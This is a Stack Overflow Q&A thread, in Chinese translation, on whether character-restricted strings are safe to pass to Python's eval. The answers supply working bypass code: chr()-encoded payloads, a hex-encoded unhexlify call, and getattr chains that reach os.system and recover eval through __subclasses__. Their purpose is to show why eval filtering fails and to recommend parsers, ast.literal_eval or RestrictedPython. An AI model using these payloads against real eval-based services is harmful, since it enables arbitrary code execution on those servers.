有没有办法为Python的eval保护字符串?

Ger*_*ncy 10 python security eval

有对SO有关使用Python的EVAL许多问题不安全的字符串(例如:Python中的安全性的eval()在不安全的条件?,Python的:使EVAL安全).一致的答案是,这是一个坏主意.

但是,我发现很少有关于哪些字符串可以被认为是安全的信息(如果有的话).现在我想知道是否有"安全字符串"的定义可用(例如:一个字符串只包含小写字母ascii字符或任何符号+ - */()).我发现的漏洞通常依赖于_.,:[]'"之类的东西.这种方法是否安全(用于图形绘制Web应用程序)?

否则,我猜使用解析包,因为Alex Martelli建议是唯一的方法.

编辑:不幸的是,没有任何答案能够给出令人信服的解释,说明为什么/如何将上述字符串视为不安全(一种微小的工作利用)或相反的解释.我知道应该避免使用eval,但这不是问题.因此,我将奖励第一个提出工作漏洞利用或真正好解释为什么如上所述的字符串被认为是安全的.

gon*_*opp 14

在这里你有一个工作"利用"你的限制 - 只包含小写ascii字符或任何标志+ - */().它依赖于第二个eval层.

def mask_code( python_code ):
    s="+".join(["chr("+str(ord(i))+")" for i in python_code])
    return "eval("+s+")"

bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)
Run Code Online (Sandbox Code Playgroud)

输出:

eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user
Run Code Online (Sandbox Code Playgroud)

这是一个非常微不足道的 "漏洞".我确信有无数其他人,即使有进一步的性格限制.需要重复的是,应该始终使用解析器或ast.literal_eval().只有通过解析标记才能确保字符串可以安全地进行评估.还有别的东西打赌房子.


Gar*_*tty 9

不,没有,或者至少没有明智的,真正安全的方式.Python是一种高度动态的语言,其另一面是,它很容易破坏任何锁定语言的企图.

您需要为所需的子集编写自己的解析器,或者ast.literal_eval()在遇到特定情况时使用现有的解析器.使用专为手头工作而设计的工具,而不是试图迫使现有工具完成您想要的工作.

编辑:

两个字符串的示例,在适合您的描述时,如果eval()按顺序编辑,将执行任意代码(此特定示例运行evil.__method__().

"from binascii import *"
"eval(unhexlify('6576696c2e5f5f6d6574686f645f5f2829'))"
Run Code Online (Sandbox Code Playgroud)


Bak*_*riu 5

类似于 goncalopp 的漏洞利用,但也满足字符串'eval'不是漏洞利用的子字符串的限制:

def to_chrs(text):
    return '+'.join('chr(%d)' % ord(c) for c in text)

def _make_getattr_call(obj, attr):
    return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)

def make_exploit(code):
    get = to_chrs('get')
    builtins = to_chrs('__builtins__')
    eval = to_chrs('eval')
    code = to_chrs(code)
    return (_make_getattr_call(
                _make_getattr_call('globals()', '{get}') + '({builtins})',
                '{eval}') + '({code})').format(**locals())
Run Code Online (Sandbox Code Playgroud)

它使用 genexp 和元组解包的组合来调用getattr两个参数而不使用逗号。

示例用法:

>>> exploit =  make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0
Run Code Online (Sandbox Code Playgroud)

这证明仅在使代码安全的文本上定义限制真的很难。甚至像这样的东西'eval' in code也不安全。您要么必须完全消除执行函数调用的可能性,要么必须从的环境中删除所有危险的内置函数eval。我的利用还表明,即使您不能使用逗号,情况也getattr一样糟糕eval,因为它允许您随意进入对象层次结构。例如,eval即使环境不提供它,您也可以获得真正的功能:

def real_eval():
    get_subclasses = _make_getattr_call(
                         _make_getattr_call(
                             _make_getattr_call('()',
                                 to_chrs('__class__')),
                             to_chrs('__base__')),
                         to_chrs('__subclasses__')) + '()'

    catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
                                                            _make_getattr_call('c',
                                                                to_chrs('__name__')),
                                                            to_chrs('catch_warnings'))

    return _make_getattr_call(
               _make_getattr_call(
                   _make_getattr_call(catch_warnings, to_chrs('_module')),
                   to_chrs('__builtins__')),
               to_chrs('get')) + '(%s)' % to_chrs('eval')


>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>
Run Code Online (Sandbox Code Playgroud)

即使您删除了所有内置函数,代码也会变得安全:

>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined
Run Code Online (Sandbox Code Playgroud)

请注意,设置'__builtins__'None移除了也chrlisttuple等你的性格restrinctions的组合,并 '__builtins__'None是完全安全的,因为用户无法访问任何东西。他不能使用.、方括号[]或任何内置函数或类型。

尽管我必须这样说,您可以评估的内容非常有限。除了对数字进行运算之外,您不能做更多的事情。

可能从内置程序中删除eval,getattr和就足以chr使代码安全,至少我想不出一种方法来编写不使用其中之一的漏洞利用程序。

“解析”方法可能更安全,并提供更大的灵活性。例如,这个配方非常好,也可以轻松定制以添加更多限制。


Mik*_*maa 5

为了研究如何进行安全评估,我建议使用 RestrictedPython 模块(超过 10 年的生产使用经验,一款优秀的 Python 软件)

http://pypi.python.org/pypi/RestrictedPython

RestrictedPython 采用 Python 源代码并修改其 AST(抽象语法树),以使评估在沙箱内安全,而不会泄漏任何可能允许逃离沙箱的 Python 内部结构。

从 RestrictedPython 源代码中,您将了解到需要执行哪些技巧才能使 Python 沙盒安全。